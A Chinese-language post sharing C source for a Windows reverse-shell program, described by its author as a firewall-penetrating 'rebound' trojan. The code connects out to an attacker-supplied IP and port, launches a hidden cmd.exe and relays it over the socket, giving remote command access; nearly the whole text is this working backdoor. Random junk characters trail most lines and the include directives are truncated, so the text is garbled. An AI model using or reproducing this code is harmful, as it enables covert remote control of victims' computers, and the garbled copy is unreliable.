这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 B_3:.1>"BM
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/* ============================== 1.S?(1e"
Rebound port in Windows NT E/:mO~1< c
By wind,2006/7 M!D&a)\
===============================*/ AS-%I+ A
#include 62D UF
#include g[%^OT#
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#pragma comment(lib,"wsock32.lib") S@^o=B]]
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void OutputShell(); >&Ios<67g
SOCKET sClient; OC5\3H
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; nb|KIW
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void main(int argc,char **argv) 7ZR0cJw;
{ ] i:WP2
WSADATA stWsaData; DPg\y".4Y&
int nRet; d [f,Nu'
SOCKADDR_IN stSaiClient,stSaiServer; aJ3.D
}c?W|#y`.o
if(argc != 3) _rakTo8BY
{ C>=[fAr mO
printf("Useage:\n\rRebound DestIP DestPort\n"); ;Im%L=q9GL
return; A1p87o>
} $9@jV<Q1
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WSAStartup(MAKEWORD(2,2),&stWsaData); U'oFW@Y;h
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dVKctt'C
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stSaiClient.sin_family = AF_INET; : pkOZ+t
stSaiClient.sin_port = htons(0);
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); }|9!|Q
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Vm]xV_FOd
{ R|g50Q
printf("Bind Socket Failed!\n"); $Le|4Hj
return; J-U5_>S
} (ptk!u6
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stSaiServer.sin_family = AF_INET; /BQB7vL
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); A8T75?lL(
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); MY w3+B+Jj
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) +LhV4@zC
{ 1@<PcQBp
printf("Connect Error!"); s%/x3anz=
return; jxdX7aik
} NjH`
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OutputShell(); A9;!\Wo
} t#N@0kIX.
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void OutputShell() EN-;@P9;C
{ H/''lI{k)
char szBuff[1024]; $VNj0i. Pr
SECURITY_ATTRIBUTES stSecurityAttributes; yR$ld.[uf
OSVERSIONINFO stOsversionInfo; jzb%?8ZJ
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6^VPRp
STARTUPINFO stStartupInfo; L )53o!
char *szShell; 5D6 ,B
PROCESS_INFORMATION stProcessInformation; ,ui=Wi1
unsigned long lBytesRead; qx f8f
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); cUj^aT pm
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); C-tkYP
stSecurityAttributes.lpSecurityDescriptor = 0; YwU[kr-i
stSecurityAttributes.bInheritHandle = TRUE; +[B@83
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ,JqCxb9
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); B6-1q&
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); )N3XbbV
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8s9ZY4_
stStartupInfo.wShowWindow = SW_HIDE; 'B9q&k%<
stStartupInfo.hStdInput = hReadPipe; nw,XA0M3
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; P<C=9@`!
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GetVersionEx(&stOsversionInfo); Y{I,ipU.
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switch(stOsversionInfo.dwPlatformId) e5$S2o~JF
{ C0gO^A.d
case 1: "L&84^lmf
szShell = "command.com"; XP^[,)E
break; ,!vI@>nhG
default: :y1,OR/k
szShell = "cmd.exe"; #5yz~&
break; HAmAmEc,
} $nqVE{ksV
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); VM}7 ~
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send(sClient,szMsg,77,0); c|s7cG$+-
while(1) i)q8p
{ E(!b_C&
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); :6jh*,OHZl
if(lBytesRead) 1!W'0LPM
{ /N7.|XI.
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :YCB23368"
send(sClient,szBuff,lBytesRead,0); 0BPUbp(
} 2?nEHIUT
else cnz+%Y N
{ '1"vwXJ"
lBytesRead=recv(sClient,szBuff,1024,0); |a!]Iqz"N
if(lBytesRead<=0) break; @kW RI* m
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); z#*>u
} KD`*[.tT
} R q`j|tY
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return; &P&VJLA